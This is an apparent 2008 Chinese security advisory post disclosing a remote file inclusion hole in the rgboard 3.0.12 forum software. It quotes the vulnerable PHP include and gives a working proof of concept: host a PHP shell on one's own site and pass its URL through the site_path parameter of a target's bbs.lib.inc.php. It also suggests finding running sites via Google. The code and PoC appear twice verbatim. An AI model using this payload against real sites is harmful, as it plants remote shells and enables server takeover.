rgboard 3.0.12 遠程文件包含漏洞
更新時間:2008年05月07日 19:28:01 作者:
Infos: rgboard 3.0.12 遠程文件包含漏洞
Author: Flyh4t[w.s.t]
rgboard 3.0.12 是韓國的一個論壇程序,可以用google搜索rgboard查看使用的網(wǎng)站
vul code:
\include\bbs.lib.inc.php:
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path沒有過濾直接放過來包含了
poc:
在你的網(wǎng)站放個phpshell,目錄和文件名為/include/lib.inc.php
然后訪問
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
\include\bbs.lib.inc.php:
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path沒有過濾直接放過來包含了
poc:
在你的網(wǎng)站放個phpshell,目錄和文件名為/include/lib.inc.php
然后訪問
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
相關文章
AngelShell:讓所有正向程序實現(xiàn)反向連接(應用篇)
AngelShell:讓所有正向程序實現(xiàn)反向連接(應用篇)...2007-01-01